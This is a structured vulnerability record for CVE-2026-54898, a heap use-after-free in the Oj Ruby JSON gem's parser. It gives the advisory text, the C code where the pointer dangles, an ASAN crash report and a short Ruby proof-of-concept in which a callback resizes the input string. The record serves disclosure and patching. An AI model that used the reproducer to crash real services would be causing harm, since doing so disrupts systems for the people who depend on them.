{"id":"CVE-2026-54898","aliases":["CVE-2026-54898","GHSA-q2gm-54r6-8fwm"],"related":[],"kind":"vulnerability","state":"published","title":"Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation","summary":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string's internal buffer. If a callback (e.g. `hash_start`) resizes the string — for example by calling `String#replace` with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at `parser.c:607` is a use-after-free.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/parser.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/parser.c`, `parser_parse` → `parse`:\n\n```c\nstatic VALUE parser_parse(VALUE self, VALUE json) {\n    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string\n    // ...\n    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer\n}\n```\n\n```c\n// parser.c:607\nstatic void parse(ojParser p, const byte *json) {\n    const byte *b = json;\n    // ...\n    for (; '\\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json\n```\n\nRuby's `String#replace` (or `<<`, `gsub!`, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to.\n\nASAN report:\n```\n==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81\nREAD of size 1 at 0x51900008ed81 thread T0\n    #0 parse          /ext/oj/parser.c:607\n    #1 parser_parse   /ext/oj/parser.c:1408\n0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)\nfreed by thread T0 here:\n    #0 free\n    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)\nShadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)\n```\n\n### Reproduce\n\n```ruby\nrequire 'oj'\n\nclass Mutator\n  def initialize(json) = (@json = json; @done = false)\n\n  def hash_start(key)\n    return if @done; @done = true\n    @json.replace('x' * 1_000_000)   # triggers String realloc, frees original buffer\n  end\n\n  def hash_end(key); end\n  def array_start(key); end\n  def array_end(key); end\n  def add_value(value, key); end\nend\n\njson = '{\"a\":1,\"pad\":\"' + ('A' * 1000) + '\",\"z\":2}'\nparser = Oj::Parser.new(:saj)\nparser.handler = Mutator.new(json)\nparser.parse(json)\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Oj (Optimized JSON) es un analizador JSON y un serializador de objetos empaquetado como una gema Ruby. En versiones anteriores a la 3.17.2, Oj::Parser#parse es vulnerable a un uso después de liberación en el heap cuando una devolución de llamada SAJ/SAJ2 muta la cadena JSON de entrada durante el análisis. El motor C mantiene un puntero const byte * sin procesar hacia el búfer interno de la cadena Ruby. Si una devolución de llamada (por ejemplo, hash_start) redimensiona la cadena - por ejemplo, llamando a String#replace con un valor más largo - Ruby reasigna el búfer de la cadena y libera el antiguo. El puntero del analizador C queda colgando; el siguiente carácter leído en parser.c:607 es un uso después de liberación. Este problema ha sido solucionado en la versión 3.17.2.","source":"nvd"}],"published":"2026-06-19T19:36:54.000Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":2.1,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":2.1,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-416"],"affected":[{"ranges":[{"version":"< 3.17.2","status":"affected"}],"vendor":"ohler55","product":"oj","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.17.3"}],"ecosystem":"RubyGems","package":"oj","purl":"pkg:gem/oj","source":"ghsa"}],"references":[{"url":"https://github.com/ohler55/oj/security/advisories/GHSA-q2gm-54r6-8fwm","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ohler55/oj","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-01T13:36:39.350Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54898","url":"https://www.cve.org/CVERecord?id=CVE-2026-54898","licence":"CVE Terms of Use","modified":"2026-07-01T13:36:50.924Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q2gm-54r6-8fwm","url":"https://github.com/advisories/GHSA-q2gm-54r6-8fwm","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:09.344Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54898","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"}],"updatedAt":"2026-11-25T22:59:26.857Z","epss":{"score":0.00203,"percentile":0.10875,"date":"2026-12-01T12:00:22.000Z"}}